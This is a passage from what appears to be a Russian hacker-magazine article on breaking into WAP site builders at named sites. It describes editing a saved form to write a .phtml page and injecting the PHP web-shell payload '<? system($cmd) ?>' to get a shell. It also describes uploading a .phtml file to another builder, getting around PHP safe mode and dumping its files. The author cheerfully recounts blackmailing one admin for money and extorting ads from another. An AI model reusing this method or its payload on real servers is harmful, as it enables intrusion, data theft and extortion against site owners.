Мобильный взлом

WaPP_Te@M (http://wapp.ru)

Хакер, номер #092, стр. 092-080-5

изменил его на

<anchor title="go">OK!<go href="http://wap4.ru/edittext.php?id=32019&p=testoz&page=index.phtml&i=5" method="post">

и сохранил страничку на жестком диске. Ты спросишь, почему именно index.phtml, а не index.php? Привычка :). Обычно админы забывают про это расширение phtml, и в случае с бодром это тоже оказалось верно.

После открытия сохраненной паги я ввел в поле картинки значение «<? system($cmd) ?>», после чего нажал кнопку «Ок» и получил полноценный шелл на wap4.ru.

Затем мы с товарищами стали шантажировать бодра и сняли с него немного денег :). Правда, он нам потом отомстил, взломав наш сайт через этот же конструктор, только уже через другую багу. Но все закончилось хорошо.

wap.wep.ru - и снова конструктор

wap.wep.ru (бывший wap.kybuk.ru) - сайт, создавший свою популярность исключительно на рекламе. Его админ вкладывает все деньги, заработанные на продаже мобильного контента исключительно в рекламные аукционы и покупку дорогих скриптов. Одним из таких скриптов снова является популярный в наше время конструктор вап-сайтов, расположенный у кубика по адресу: wxo.ru (глупый домен, не правда ли?). Здесь все было еще проще. Регистрируешь сайт, заходишь на страничку загрузки файлов и заливаешь файл test.phtml, не прибегая ни к каким ухищрениям с расширениями и т.п. Правда, здесь есть одно существенное «но». На сервере с конструктором очень грамотно настроен php, включен safe mode и сопутствующие ему настройки. Здесь пришлось применить мой скрипт, описанный в мартовском ][ (статья «К кому уходят аси?», http://wapp.ru/trash/dir.txt), позволяющий листать директории и просматривать файлы без применения системных функций. После небольшого изучения сервера мы слили все файлы конструктора себе и решили связаться с Кубиком. В итоге договорились о нераспространении скрипта за 10 дней рекламы у него на сайте :).

Вместо заключения

Надеюсь, ты понял, что баги в WAP-порталах бывают самые разные. К тому же большинство из них успешно мигрировало из ресурсов HTTP. Все ошибки, описанные в этом материале, актуальны до сих пор (если не на одном, так на другом WAP-ресурсе). Твоя задача – намотать это правило на ус и свыкнуться с мыслью, что взлом WAP ничем не сложнее всех остальных хакерских трюков.

Ссылки по теме:

http://script.woweb.ru/index.htm/c/62- некоторые популярные WAP-скрипты

DVD

dir.php-скрипт для работы со взломанным сервером в инклуде с php safe-mode

DANGER

Лично я не советую тебе заниматься взломом WAP-сайтов, так как в мобильном бизнесе крутятся очень большие деньги, из-за которых ты можешь пострадать.